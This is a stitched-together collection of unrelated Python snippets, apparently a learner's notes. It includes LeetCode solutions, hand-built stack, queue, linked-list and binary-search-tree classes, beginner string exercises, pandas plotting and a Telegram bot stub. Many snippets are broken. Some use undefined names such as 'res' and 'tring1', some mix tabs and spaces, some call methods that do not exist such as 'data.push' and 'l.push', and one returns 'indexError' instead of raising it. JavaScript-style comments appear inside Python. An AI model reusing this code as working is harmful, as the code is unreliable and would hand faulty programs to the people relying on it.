        #delete node 
        left.next = left.next.next 
        
        return dummy.next 



#bottom solution is what I first came up with and works in leetcode except for if head = [1] and n = 1 which is the case I tried to account for in the second elif statement but it gave me an error saying cannot return [] even though it was fine for the first if statement 

#big O: is still O(n) just like 1st scenario 

class Solution: 
	def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:
    	if head is None: 
            return []
        elif head.next is None and n == 1: 
            return []
        else: 
            current = head
            counter = 0 #will become length of LL 
            
            #to determine length of LL 
            while current is not None: 
                counter += 1 
                current = current.next 
                
            #consider adding an edge case here if n > counter 
            
            #second pass now knowing length of LL 
            previous, current = head, head 
            new_counter = 0 
            target = counter - n 
            while new_counter is not target + 1: 
                if new_counter == (target - 1): 
                    previous = current 
                if new_counter == target: 
                    after = current.next 
                    previous.next = after 
                    current.next = None 
                    break 


                current = current.next 


                new_counter += 1

            return head 











from telethon import events, TelegramClient


bot = TelegramClient(BOT_SESSION,
                     BOT_API_ID,
                     BOT_API_HASH).start(bot_token=BOT_TOKEN)


@bot.on(events.NewMessage(pattern='/greeting'))
async def greeting(event):
    async with bot.conversation(await event.get_chat(), exclusive=True) as conv:
        await conv.send_message('Hi!')
        hello = await conv.get_response()
        await conv.send_message('Please tell me your name')
        name = await conv.get_response().raw_text
        await conv.send_message(f'Thanks {name}!')
print df.groupby('value')['tempx'].apply(' '.join).reset_index()
   value                                              tempx
0    1.5  picture1 picture555 picture255 picture365 pict...
#solution involving minHeap 
#Strategy: 
#1) Take out the smallest number from the heap, and
#2) Insert the larger number into the heap.
#3) repeat 
#This will ensure that we always have ‘K’ largest numbers in the heap. The most efficient way to repeatedly find the smallest number among a set of numbers will be to use a min-heap.


#Big O n log k. Space: O (k) 

from heapq import *
#this is a heap library. look at relevant functions: https://docs.python.org/3/library/heapq.html 


def find_k_largest_numbers(nums, k):
  minHeap = []
  # put first 'K' numbers in the min heap
  for i in range(k):
    heappush(minHeap, nums[i])

  # go through the remaining numbers of the array, if the number from the array is bigger than the
  # top(smallest) number of the min-heap, remove the top number from heap and add the number from array
  for i in range(k, len(nums)):
    if nums[i] > minHeap[0]:
    #heapop removes smallest element in heap 
      heappop(minHeap)
      heappush(minHeap, nums[i])

  # the heap has the top 'K' numbers
  return minHeap


#brute force approach has big O of n log N 
def find_k_largest_numbers(nums, k):
  result = []
  
  nums.sort() 
  nums_length_index = len(nums) - 1 - k 

  for i in range(nums_length_index + 1, len(nums)): 
    result.append(nums[i]) 
  
  return result

find_k_largest_numbers([3, 1, 5, 12, 2, 12], 3) # will result in [5, 12, 12] 


#if you dont want duplicates you can do the following: 
def find_k_largest_numbers(nums, k):
  result = []
  
  nums.sort() 
  nums_set = set(nums)
  nums_length_index = len(nums_set) - 1 - k 

  for i in range(nums_length_index + 1, len(nums_set)): 
    result.append(nums[i]) 
  
  return result
#solution where you just take subset I and replace last return statement 
class Solution:
    def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:

   
        subset = [] 
        result = [] 
        
        #i is index of subset 
        def dfs(i): 
            if i >= len(nums): 
                result.append(subset.copy())
                return 
            
            #decision to include nums[i]
            subset.append(nums[i])
            #this recursive call will be given filled subset 
            dfs(i + 1)
            
            #decision NOT to include nums[i] 
            subset.pop()
            #this recursive call will be given empty subset 
            dfs(i + 1)
        
        dfs(0) 
        
        #need to remove duplicate sublists within result 
        return ([list(i) for i in {*[tuple(sorted(i)) for i in result]}])  
  

#solution to prevent duplicates in the first place
class Solution:
    def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:

   
        result = []
		nums.sort() 

		def backtrack(i, subset): 
        	if i == len(nums): 
            	res.append(subset.copy())
				return 
			
			#all subsets that include nums[i] 
            subset.append(nums[i]) 
			backtrack(i + 1, subset) 
			#remove number we just added 
            subset.pop()
            
            #all subsets that don't include nums[i]
        	while i + 1 < len(nums) and nums[i] == nums[i + 1]: 
            	i += 1 
			backtrack(i + 1, subset)
		
		backtrack(0, [])
		
		return result 
        
        
        
        
#solution for array with unique integer array. only last return line is dfferent 
class Solution:
    def subsets(self, nums: List[int]) -> List[List[int]]:
        subset = [] 
        result = [] 
        
        #i is index of subset 
        def dfs(i): 
            if i >= len(nums): 
                result.append(subset.copy())
                return 
            
            #decision to include nums[i]
            subset.append(nums[i])
            #this recursive call will be given filled subset 
            dfs(i + 1)
            
            #decision NOT to include nums[i] 
            subset.pop()
            #this recursive call will be given empty subset 
            dfs(i + 1)
        
        dfs(0) 
        
        return result 
        
        
        
def solution(n, k):
    return climb(n, k, [])
    
        
        
def climb(n, k, jumps):
    if n == 0:
        return [jumps]
    
    out = []
    
    for i in range(1, k+1):
        if i > n:
            continue
            
        temp = jumps + [i] 
        out += climb(n-i, k, temp)
        
    return out
class Solution:
    #number of permutations = n! 
    def permute(self, nums: List[int]) -> List[List[int]]:
        result = []
    
        if len(nums) == 1: 
            return [nums[:]] 
        
        for i in range(len(nums)): 
            #pop off first element 
            n = nums.pop(0)
            
            #numswill now have one less value, will append popped value later 
            perms = self.permute(nums) 
            
            for perm in perms: 
                perm.append(n)
            
            result.extend(perms)
            #adding popped back 
            nums.append(n) 
        
        return result 
 
class Solution:

    def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:
        result = []
        
        #i is index of candidates 
        def dfs(i, current, total): 
            if total == target: 
              #if you do not add .copu() it will append empty arrays 
                result.append(current.copy())
                return 
            if i >= len(candidates) or total > target: 
                return 

            #decision tree has 2 options: 1) add candidates[i] or 2) do not add and move on to next index 
            
            #1) try adding candidates[i]
            current.append(candidates[i])
            dfs(i, current, total + candidates[i])
            #2) move on to next index 
            current.pop() 
            dfs(i + 1, current, total)
        
        dfs(0, [], 0)
        return result 
def set_seed(seed=42):
    """
    sets the integer starting value used in generating random numbers.
    comment out packages/frameworks not in use as per your choice 
    """
    np.random.seed(seed)
    os.environ['PYTHONHASHSEED'] = str(seed)
    random.seed(seed)
    tf.random.set_seed(seed)
    torch.manual_seed(seed)
    torch.cuda.manual_seed(seed)
    torch.backends.cudnn.deterministic = True
#Create variables:my_age,half_my_age ,greeting,  name
#greeting_with_name
#Assign values to each using your knowledge of division and concatenation!


my_age = 22
half_my_age = my_age / 2
greeting = "How's your day been"
name = "Abubakar"
greeting_with_name = greeting + name
to_you = """Stranger, if you passing meet me and desire to speak to me, why
  should you not speak to me?
And why should I not speak to you?"""

print(to_you)
#Multi-line Strings
Python strings are very flexible, but if we try to create a string that occupies multiple lines we find ourselves face-to-face with a SyntaxError. Python offers a solution: multi-line strings. By using three quote-marks #(""" or ''') #instead of one, we tell the program that the string doesn’t end until the next triple-quote. This method is useful if the string being defined contains a lot of quotation marks and we want to be sure we don’t close it prematurely.

leaves_of_grass = """
Poets to come! orators, singers, musicians to come!
Not to-day is to justify me and answer what I am for,
But you, a new brood, native, athletic, continental, greater than
  before known,
Arouse! for you must justify me.
"""
total_price = 0

new_sneakers = 50.00

total_price += new_sneakers

nice_sweater = 39.00
fun_books = 20.00
# Update total_price here:

total_price += nice_sweater
total_price += fun_books

print("The total price is", total_price)
# First we have a variable with a number saved
number_of_miles_hiked = 12
 
# Then we need to update that variable
# Let's say we hike another two miles today
number_of_miles_hiked += 2
 
# The new value is the old value
# Plus the number after the plus-equals
print(number_of_miles_hiked)
# Prints 14


hike_caption = "What an amazing time to walk through nature!"
 
# Almost forgot the hashtags!
hike_caption += " #nofilter"
hike_caption += " #blessed"
class Solution:
    def subsets(self, nums: List[int]) -> List[List[int]]:
        subset = [] 
        result = [] 
        
        #i is index of subset 
        def dfs(i): 
            if i >= len(nums): 
                result.append(subset.copy())
                return 
            
            #decision to include nums[i]
            subset.append(nums[i])
            #this recursive call will be given filled subset 
            dfs(i + 1)
            
            #decision NOT to include nums[i] 
            subset.pop()
            #this recursive call will be given empty subset 
            dfs(i + 1)
        
        dfs(0) 
        
        return result 
        
        
class Tree(object):
  def __init__(self, x, left=None, right=None):
    self.value = x
    self.left = left
    self.right = right 

x = Tree(1, Tree(0, Tree(1), Tree(3)), Tree(4))


def solution(t): 
    if not t: 
        return 0 
    
    stack = [(t, 0)]
    branchesSum = 0 
    
    while stack: 
        node, v = stack.pop() 
        if node.left or node.right:
        #depth first search 
        # the v is a little confusing to understand but easier to see in python tutor 
        # it goes from 1 to 10 to 100 etc. based on the height of the branch 
        # can probably do something like str() and converting back to int() as well 
            if node.left: 
                stack.append((node.left, node.value + v * 10)) 
            if node.right: 
                stack.append((node.right, node.value + v * 10)) 
        else: 
            branchesSum += node.value + v * 10 
    return branchesSum 
tring1 = "The wind, "
string2 = "which had hitherto carried us along with amazing rapidity, "
string3 = "sank at sunset to a light breeze; "
string4 = "the soft air just ruffled the water and "
string5 = "caused a pleasant motion among the trees as we approached the shore, "
string6 = "from which it wafted the most delightful scent of flowers and hay."

# Define message below:
message = string1+string2+string3+string4+string5+string6

print(message)
# Prints 4 because 29 / 5 is 5 with a remainder of 4
print(29 % 5)
 
# Prints 2 because 32 / 3 is 10 with a remainder of 2
print(32 % 3)
 
# Modulo by 2 returns 0 for even numbers and 1 for odd numbers
# Prints 0
print(44 % 2)
In [85]: df[0].str.split('_').str[1:].str.join('_')
Out[85]:
0    toronto_maple-leafs_Canada
1              boston_bruins_US
2             detroit_red-wings
3                      montreal
Name: 0, dtype: object
fig, axes = plt.subplots(rows,cols, figsize=(20,20))
axes = axes.ravel()

for i, col in enumerate(train_df.columns)  :
    sns.histplot(train_df[col], kde=True, stat='density', ax=axes[i])

fig.suptitle("Distribution plot for each feature")
fig.tight_layout()
plt.figure(figsize=(10,10))
# Getting the Upper Triangle of the co-relation matrix
corr = train_df.corr()
matrix = np.triu(corr)
sns.heatmap(corr, mask=matrix, annot=True, annot_kws={"size": 8}, cmap="coolwarm", fmt='.1g');
#
# Binary trees are already defined with this interface:
# class Tree(object):
#   def __init__(self, x):
#     self.value = x
#     self.left = None
#     self.right = None
import math 
def solution(t):
    if t is None: return [] 
    
    stack = [t] 
    result = []
    
    while len(stack) > 0: 
        result.append(max(tree.value for tree in stack)) 
        next_row = [tree.left for tree in stack if tree.left] + [tree.right for tree in stack if tree.right]
        stack = next_row 
    return result 


 #1. Add max value of ‘stack’ to result. 2. Create a new list of all next values for each value in stack. 3. redefine stack to this newly made list. 4. repeat 


#alternate solution 
def solution(t):
    largestValues = []
    q = []
    height = 0
    if t:
        q.append([t, height])
        while q:
            item = q.pop()
            node = item[0]
            currentHeight = item[1]
            if node.left:
                q.insert(0, [node.left, currentHeight + 1] )
            if node.right:
                q.insert(0, [node.right, currentHeight + 1])
            checkLargest(node.value, currentHeight, largestValues)
            
    return largestValues
    
        
def checkLargest(value, height, largestValues):
    if height == len(largestValues):
        largestValues.append(value)
    else:
        if largestValues[height] < value:
            largestValues[height] = value
import chardet
with open(files[0], 'rb') as file:
    print(chardet.detect(file.read()))
if 'MICHAEL89'.casefold() in (name.casefold() for name in USERNAMES):
Or:

if 'MICHAEL89'.casefold() in map(str.casefold, USERNAMES):
As per the docs:

Casefolding is similar to lowercasing but more aggressive because it is intended to remove all case distinctions in a string. For example, the German lowercase letter 'ß' is equivalent to "ss". Since it is already lowercase, lower() would do nothing to 'ß'; casefold() converts it to "ss".
class CircularQueue:
    def __init__(self, size):
        self.size = size
        self.head = 0
        self.tail = 0
        self.buffer = [None] * size
        self.length = 0

    def enqueue(self, value):
        self.length += 1
        self.buffer[self.tail] = value
        self.tail += 1
        if self.tail >= self.size:
            self.tail = 0

    def dequeue(self):
        self.length -= 1
        value = self.buffer[self.head]
        self.head += 1
        if self.head >= self.size:
            self.head = 0
        return value
# //Tree Traversal (visit every node once) 
# //Heavy on recursion 
 
# //Breadth-first (BFS) vs. Depth-first (DFS) 
 
# // DFS: 
# // 1) in order (go in order of value)
# // 2) pre order (start at root)
# // 3) post order (start at botom)
 
 
# //When to use BFS vs. DFS: 
# //For a fully loaded (wide) tree, BFS queue will be overloaded in the start (overloaded space complexity)
# //For a longer tree, DFS will take more memory (more rare, Trees are usually wide)
# //Big O for both is same 
 
# //In order: useful if you want sorted array at end (you don't really know what the root is bc it's in the middle)
# //PreOrder: useful to "export a tree" so that it can be copied bc it flattens it 

class Node: 
  def __init__(self, value): 
    self.value = value 
    self.left = None 
    self.right = None 
 
class BinarySearchTree: 
  def __init__(self): 
    self.root = None 
 
  #adds number to correct place 
  def insert(self, value): 
    #creates new Node   
    new_node = Node(value) 
    #start at root 
    #if no root exists, root becomes new_node 
    if self.root == None: 
      self.root = new_node 
      return self 
    
    current = self.root 
    
    while True: 
      #to handle special case where value is same as current node 
      #you can return None or you can add a counter property 
      if value == current.value: 
        return None 
      #check to see if value is less than current 
      if value < current.value: 
        #check to see if there is node to left 
        #if not, add new_node to left 
        if current.left == None: 
          current.left = new_node 
          return self
        #if there is node to left, move to that node and repeat 
        current = current.left 
      #check to see if value is greater than current 
      else: 
        #check to see if there is node to right 
        #if not, add new_node to right 
        if current.right == None: 
          current.right = new_node 
          return self 
        #if there is node to right, move to that node and repeat 
        current = current.right 
        
  #Breadth first search iterative using queue 
  def BFS(self):
    node = self.root 
    #we will return data 
    data = [] 
    queue = [] 
    #place root node inside queue (recall FIFO)
    queue.append(node) 
    #while queue is not empty 
    while len(queue) > 0: 
      #dequeue node from queue and append to data  
      node = queue.pop(0)
      data.append(node) 
      #if there is left on node dequeued, add to queue 
      if node.left: 
        queue.append(node.left) 
      #if there is right on node dequeued, add to queue 
      if node.right: 
        queue.append(node.right) 
      #above two lines of code could be changed if it was a ternary tree, etc. instead of binary 
      #just loop for all children 
    return data 
  
  #parent down uses recursive 
  def DFSPreoder(self): 
    data = [] 
    #if you want to DFS not from root, create a variable here named current and specify which node to start from 
    #helper function 
    def traverse(node): 
      #all of root node's left will happen first, then right 
      #for other types of DFS, just tweak this order 
      data.append(node.value) 
      if node.left:
        traverse(node.left)
      if node.right: 
        traverse(node.right)
    
    traverse(self.root) 
    return data 
  
  #children up, root should be last value 
  def DFSPostOrder(self): 
    data = []
    
    def traverse(node): 
      if node.left:
        traverse(node.left)
      if node.right: 
        traverse(node.right)
      data.append(node.value)
    
    traverse(self.root)
    return data 
  
  #result data list should be sorted 
  def DFSInOrder(self):
    data = []
    def traverse(node): 
      if node.left: 
        traverse(node.left)
      data.push(node.value)
      if node.right: 
        traverse(node.right)
    traverse(self.root)
    return data 

t = BinarySearchTree() 
t.insert(1)
t.insert(5)
t.insert(6)
t.insert(2)
t.insert(0) 
t.insert(-1)
t.insert(7) 

print(t.DFSInOrder())
//Useful for background tasks, uploading resources, print/task 
 
//Can be impleneted with array (use push/shift or unshift/pop) or queue class 
//Again any time you use shift/unshift, you have O(N)
//FIFO 

class Node: 
  def __init__(self, value, next=None): 
    self.value = value 
    self.next = next 
  
class Queue: 
  def __init__(self, first=None, last=None, size=0): 
    self.first = first 
    self.last = last 
    self.size = size 
  
  #add to end of queue (similar to append or push) and returns size 
  def enqueue(self, value): 
    new_node = Node(value) 
    
    if self.first == None: 
      self.first = new_node 
      self.last = new_node 
    else: 
      self.last.next = new_node
      self.last = new_node 
    
    self.size += 1
    return self.size 
  
  #remove from beginning of queue 
  def dequeue(self): 
    if self.first == None: 
      return None 
    
    temp = self.first 
    if self.first == self.last: 
      self.last = None 
    #set 1st property to be original first's next 
    self.first = self.first.next 
    self.size -= 1 
    
    return temp.value 
    
  #useful to visualize any other function works 
  def print_queue_to_list(self): 
    result = []
    current = self.first 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)

s = Queue() 
s.enqueue(1) 
s.enqueue(2)
s.enqueue(3)
s.print_queue_to_list() >> [1, 2, 3]
s.dequeue() 
s.print_queue_to_list() >> [2, 3]

// Big O: 
// Insertion and Removal: O(1) **this is mainly what stacks are good for 
// Access and Search: O(N) 
//Recall with array implenetation, insertion and removal is not constant 
# //Used in call stack, undo/redo, routing 
 
# //Array implenentation (just use pop/push or shift/unshift) 
# //Recall that pop/push is more efficient than shift/unshift 
# //Indexes take up memory so linked list implenetation will be better 
 
# //Single linked implenetation of stack:

class Node: 
  def __init__(self, value, next=None): 
    self.value = value 
    self.next = next 

class Stack: 
  def __init__(self, first=None, last=None, size=0): 
    self.first = first
    self.last = last 
    self.size = size 
  
  #Similar to shift or insert(0, value). Adds to stack and returns size. Recall stack is LIFO  
  def push(self, value): 
    new_node = Node(value) 
    if self.first == None: 
      self.first = new_node 
      self.last = new_node 
    else: 
      #stores current 1st property on stack 
      temp = self.first 
      #reset 1st property to be newly created one 
      self.first = new_node 
      #set new next property 
      self.first.next = temp 
    #increment stack 
    self.size += 1  
    return self.size 
  
  #in python, this would be pop(0). Similar to unshift. Removes first element on stack  
  def pop(self): 
    #special case if stakc is empty 
    if self.first == None: 
      return None 
      
    temp = self.first 
    #if there is only 1 node, set 1st node and last property to be None 
    if self.first == self.last: 
      self.last = None
      #self.first = None will be set in next line 
    
    #for all scenarios except empty stack 
    self.first = self.first.next 
    self.size -= 1 
    return temp.value 
    
    #useful to visualize reverse() or any other function works 
  def print_stack_to_list(self): 
    result = []
    current = self.first 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)


s = Stack() 
s.push(1) 
s.push(2)
s.push(3)
s.print_stack_to_list() # [3, 2, 1]
s.pop()
s.print_stack_to_list() #[2, 1]



# //these methods deal with 1st node bc thats what stacks do (LIFO) 
# // Big O: 
# // Insertion and Removal: O(1) **this is mainly what stacks are good for 
# // Access and Search: O(N) 
      
# //almost identical to doubly linked list but 
# //every node has another pointer to previous node 
# //Advantages: able to access list at end instead of going from start 
# //Disadvantages: takes up more memory 

class Node: 
  def __init__(self, value, next=None, previous=None): 
    self.value = value 
    self.next = next 
    self.previous = previous 

class DoublyLinkedList:
  def __init__(self, head=None, tail=None, length=0):
    self.head = head 
    self.tail = tail 
    self.length = length 

  #add to end of list 
  def append(self, value): 
    new_node = Node(value)
    #if there is no head (list is empty), set head and tail to be new_node 
    if self.head == None: 
      self.head = new_node 
      self.tail = new_node
    #otheriwse, set next property on tail to be new node and set tail to be newly created node 
    else: 
      self.tail.next = new_node 
      new_node.previous = self.tail 
      self.tail = new_node 
    #increment length and return 
    self.length += 1 
    return self 
  
  #removes last element of list 
   def pop(self): 
    if self.head == None: 
      return None 
    #current will eventually be the last elemeent and will be removed 
    current = self.head 
    #variable right before end 
    new_tail = current 
    #while loop to traverse to end 
    while current.next: 
      new_tail = current 
      current = current.next 
    #sets new tail 
    self.tail = new_tail 
    #cuts off old tail and current previous property 
    self.tail.next = None 
    current.previous = None 
    #decrement list 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.head = None
      self.tail = None 
    return current 
  
  #removes elememnt at head. Note in python, shift doesn't exist, it would be .pop(0) or you can use remove which is defined later
  def shift(self): 
    if self.head == None: 
      return None 
    #current_head will be removed and returned 
    current_head = self.head 
    self.head = current_head.next 
    #severs new self.head previous property
    self.head.previous = None 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.tail = None 
    #severs current_head. Note previous is already set to None 
    current_head.next = None 
    return current_head 

  
  #adds to start of list and replaces head. I included shift/unshift because this is what makes linked list special in terms of reducing big O 
  def unshift(self, value): 
    new_node = Node(value)
    #edge case to account if list is originally empty 
    if self.head == None: 
      self.head = new_node 
      self.tail = self.head 
    else: 
      temp = self.head 
      self.head = new_node 
      self.head.next = temp 
      temp.previous = self.head 
    self.length += 1 
  
  #travels to node at index and returns node 
  def traverse(self, index): 
    if index < 0 or index >= self.length: 
      raise IndexError('index out of range')
    counter = 0 
    current = self.head 
    #since this is doubly linked list, you can also approach from tail and go backwards 
    while counter != index: 
      current = current.next 
      counter += 1 
    return current 
  
  #travels to node at index and returns node's value 
  def get(self, index): 
    #to accomodate normal python function, where if you give index = -1 in a get(), it will return last index and so on 
    if index < 0: 
      index = self.length + index 
    node = self.traverse(index)
    return node.value 
  
  #replaces value at index 
  def set(self, index, value): 
    found_node = self.traverse(index) 
    if found_node: 
      found_node.value = value
      return True 
    else: 
      return False 
  
  #insert value at index and adds 1 to length, returns boolean if successful 
  def insert(self, index, value): 
    if index < 0 or index > self.length: 
      raise IndexError('index out of range')
    if index == self.length: 
      #not not is similar to !! in javascript and it's so it returns a boolean if successful 
      return not not self.append(value)
    if index == 0: 
      return not not self.unshift(value) 
    else: 
      new_node = Node(value) 
      previous_node = self.traverse(index - 1) 
      after_node = previous_node.next 
      
      #creating relations before new_node 
      previous_node.next = new_node 
      new_node.previous = previous_node 
      #creating relations after new_node 
      new_node.next = after_node 
      after_node.previous = new_node 
      
      #increment length
      self.length += 1 
      return self 
  
  
  def remove(self, index): 
    if index < 0 or index > self.length: 
      return indexError('index out of range') 
    if index == self.length - 1: 
      return self.pop()
    if index == 0: 
      return self.shift() 
    else: 
      #need to get previous node and after node to create relationships 
      previous_node = self.traverse(index - 1) 
      #removed_node will be removed and returned  
      removed_node = previous_node.next 
      after_node = removed_node.next 
      #unlink removed_node 
      previous_node.next = removed_node.next 
      after_node.previous = previous_node 
      #sever removed_node next 
      removed_node.next = None 
      removed_node.previous = None 
      self.length -= 1 
      return removed_node 
  
 #common interview question 
  def reverse(self): 
    #switching head and tail 
    current = self.head 
    self.head = self.tail 
    self.tail = current 
    
    next, previous = None, None 
    #to show for loop is possible in LL. Could use while loop as well 
    for i in range(0, self.length): 
      #think of this as creating the block 
      next = current.next 
      current.next = previous #initially None 
      current.previous = next
      #think of this as connecting head/previous to the block 
      previous = current 
      current = next 
    return self 

# # // [100. 201, 250, 350, 999]
# # // first part 
# # // NODE  NEXT 
# # // 100 -> null 
 
# # // second part (for loop and beyond) 
# # // PREV  NODE  NEXT 
# # // line 154( prev = current; ) specifically: 
# # // 201 -> 100  -> null 
# # // line 155 (current = next;): 
# # //        PREV  NODE  NEXT 
# # // 250 -> 201 -> 100 
  
  #useful to visualize reverse() or any other function works 
  def print_linkedlist_to_list(self): 
    result = []
    current = self.head 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)
    
    
    

# l = DoublyLinkedList() 
# l.append(1) 
# l.append(2)
# l.pop()
# l.shift()
# l.unshift(3)
# l.append(4) 
# l.traverse(0)
# l.get(-2)
# l.set(2, 7)
# l.insert(0, 99)
# l.remove(2)
# l.print_linkedlist_to_list()
# l.reverse() 
# l.print_linkedlist_to_list()

# y = l.length
# print(y)

# // Insertion: 
# // O(1) 
# // Removal: recall in SL it depends 
# // O(1)
# // Searching: 
# // O(N) but optimized bc you can start from head or tail (but more memory)
# // Access: 
# // Same as searching 
res = dict((v,k) for k,v in a.items())
class Node: 
  def __init__(self, value, next=None): 
    self.value = value 
    self.next = next 

class SinglyLinkedList:
  def __init__(self, head=None, tail=None, length=0):
    self.head = head 
    self.tail = tail 
    self.length = length 

  #add to end of list 
  def append(self, value): 
    new_node = Node(value)
    #if there is no head (list is empty), set head and tail to be new_node 
    if self.head == None: 
      self.head = new_node 
      self.tail = self.head 
    #otheriwse, set next property on tail to be new node and set tail to be newly created node 
    else: 
      self.tail.next = new_node 
      self.tail = self.tail.next
    #increment length and return 
    self.length += 1 
    return self 
  
  #removes last element of list 
  def pop(self): 
    if self.head == None: 
      return None 
    #current will eventually be the last elemeent and will be removed 
    current = self.head 
    #variable right before end 
    new_tail = current 
    #while loop to traverse to end 
    while current.next: 
      new_tail = current 
      current = current.next 
    #sets new tail 
    self.tail = new_tail 
    #cuts off old tail 
    self.tail.next = None 
    #decrement list 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.head = None
      self.tail = None 
    return current 
  
  #removes elememnt at head. Note in python, shift doesn't exist, it would be .pop(0) or you can use remove which is defined later
  def shift(self): 
    if self.head == None: 
      return None 
    current_head = self.head 
    self.head = current_head.next 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.tail = None 
    return current_head 
  
  #adds to start of list and replaces head. I included shift/unshift because this is what makes linked list special in terms of reducing big O 
  def unshift(self, value): 
    new_node = Node(value)
    #edge case to account if list is originally empty 
    if self.head == None: 
      self.head = new_node 
      self.tail = self.head 
    else: 
      temp = self.head 
      self.head = new_node 
      self.head.next = temp 
    self.length += 1 
  
  #travels to node at index and returns node 
  def traverse(self, index): 
    if index < 0 or index >= self.length: 
      raise IndexError('index out of range')
    counter = 0 
    current = self.head 
    while counter != index: 
      current = current.next 
      counter += 1 
    return current 
  
  #travels to node at index and returns node's value 
  def get(self, index): 
    #to accomodate normal python function, where if you give index = -1 in a get(), it will return last index and so on 
    if index < 0: 
      index = self.length + index 
    node = self.traverse(index)
    return node.value 
  
  #replaces value at index 
  def set(self, index, value): 
    found_node = self.traverse(index) 
    if found_node: 
      found_node.value = value
      return True 
    else: 
      return False 
  
  #insert value at index and adds 1 to length, returns boolean if successful 
  def insert(self, index, value): 
    if index < 0 or index > self.length: 
      raise IndexError('index out of range')
    if index == self.length: 
      #not not is similar to !! in javascript and it's so it returns a boolean if successful 
      return not not self.append(value)
    if index == 0: 
      return not not self.unshift(value) 
    else: 
      new_node = Node(value) 
      previous_node = self.traverse(index - 1) 
      temp = previous_node.next 
      #set next property of previous node to be new_node 
      previous_node.next = new_node 
      #set new_node next to be old next of previous 
      #you can also write this as previous_node.next.next = temp 
      new_node.next = temp 
      self.length += 1 
      return True 
  
  
  def remove(self, index): 
    if index < 0 or index > self.length: 
      return indexError('index out of range') 
    if index == self.length - 1: 
      return self.pop()
    if index == 0: 
      return self.shift() 
    else: 
      #need to get previous node to create relationships 
      previous_node = self.traverse(index - 1) 
      #removed_node will be removed and returned  
      removed_node = previous_node.next 
      #unlink removed_node 
      previous_node.next = removed_node.next 
      #sever removed_node next 
      removed_node.next = None 
      self.length -= 1 
      return removed_node 
  
  #common interview question 
  def reverse(self): 
    #switching head and tail 
    current = self.head 
    self.head = self.tail 
    self.tail = current 
    
    next, previous = None, None 
    #to show for loop is possible in LL. Could use while loop as well 
    for i in range(0, self.length): 
      #think of this as creating the block 
      next = current.next 
      current.next = previous #initially None 
      #think of this as connecting head/previous to the block 
      previous = current 
      current = next 
    return self 

# // [100. 201, 250, 350, 999]
# // first part 
# // NODE  NEXT 
# // 100 -> null 
 
# // second part (for loop and beyond) 
# // PREV  NODE  NEXT 
# // line 154( prev = current; ) specifically: 
# // 201 -> 100  -> null 
# // line 155 (current = next;): 
# //        PREV  NODE  NEXT 
# // 250 -> 201 -> 100 
  
  #useful to visualize reverse() works 
  def print_linkedlist_to_list(self): 
    result = []
    current = self.head 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)
    
    
    

l = SinglyLinkedList() 
l.push(1) 
l.push(2)
l.pop()
l.shift()
l.unshift(3)
l.push(4) 
l.traverse(0)
l.get(-2)
l.set(2, 7)
l.insert(0, 99)
l.remove(2)
l.print_linkedlist_to_list()
l.reverse() 
l.print_linkedlist_to_list()

y = l.length
print(y)

# //Big O: 
# //Insertion: O(1)
# //Removal: depends O(1) if start or O(N) at end 
# //Above 2 are main advantages vs. arrays esp at start 
# //Searching: O(N)
# //Access: O(N) 
 
# //Recall with array implenetation, insertion and removal is not constant 
# //Lists are linear but trees are nonlinear 
# //Often working with binary trees and specifically binary search trees 
 
# //SL is techically a special case tree 
 
# //Root: top node of tree
# //Child: node directly connected to another node when moving away from root 
# //Parent: converse notion of child 
# //Siblings: group of node with same parent 
# //Leaf: node with no children 
# //Edge: connection betweeen one node and another (often arrows) 
 
# //Used for HTML DOM, network routing, abstract syntax trees, folder organization, AI, best possible move (decision tree)
 
# //We will focus on binary search tree (can only have at most 2 child nodes)
# //For each node, everything to left is smaller. Right >> bigger
 


class Node: 
  def __init__(self, value): 
    self.value = value 
    self.left = None 
    self.right = None 

class BinarySearchTree: 
  def __init__(self): 
    self.root = None 

  #adds number to correct place 
  def insert(self, value): 
    #creates new Node   
    new_node = Node(value) 
    #start at root 
    #if no root exists, root becomes new_node 
    if self.root == None: 
      self.root = new_node 
      return self 
    
    current = self.root 
    
    while True: 
      #to handle special case where value is same as current node 
      #you can return None or you can add a counter property 
      if value == current.value: 
        return None 
      #check to see if value is less than current 
      if value < current.value: 
        #check to see if there is node to left 
        #if not, add new_node to left 
        if current.left == None: 
          current.left = new_node 
          return self
        #if there is node to left, move to that node and repeat 
        current = current.left 
      #check to see if value is greater than current 
      else: 
        #check to see if there is node to right 
        #if not, add new_node to right 
        if current.right == None: 
          current.right = new_node 
          return self 
        #if there is node to right, move to that node and repeat 
        current = current.right 
  
  #find() returns value while contains() returns boolean 
  #find will point to entire node 
  def find(self, value): 
    #check to see if there is root and if not, we are done! 
    if self.root == None: 
      return False 
    current = self.root 
    found = False 
    
    while current and not found: 
      #if value is less than current 
      if value < current.value: 
        #check to see if there is node to left 
        #if there is, move to that node and repeat 
        current = current.left 
        #if not, we ar edone because current will no longer exist 
      #if value is greater than current 
      elif value > current.value: 
        #check to see if there is node to right 
        #if there is, move to that node and repeat 
        current = current.right 
        #if not, we are done because current will no longer exist 
      else: 
        found = True 
    
    if not found:
      return None 
    return current 
    
  def contains(self, value): 
    if self.root == None: 
      return False 
    current = self.root 
    found = False 
    
    while current and not found: 
      if value < current.value: 
        current = current.left 
      elif value > current.value: 
        current = current.right 
      else: 
        return True 
    return False 
          
t = BinarySearchTree()
t.insert(3)
t.insert(5)
t.insert(2)
t.insert(-1)
t.insert(6)
t.find(6) 
t.contains(6)

# // Insertion and Search: O(log N) VERY GOOD 
# // Not guaranteed if BST is a one sided tree (choose a different root) 
 
 
 
# //      10
# //   5     13
# // 2  7  11  16
 
# // tree = BinarySearchTree()
# // tree.insert(10)
# // tree.insert(5)
# // tree.insert(13)
# // tree.insert(11)
# // tree.insert(2)
# // tree.insert(16)
# // tree.insert(7)
# // tree.find(7) >> will point to node with 7  
# // tree.contains(6) >> False 
 
 
 
 
 
# //Primitive way of making Tree before insert() 
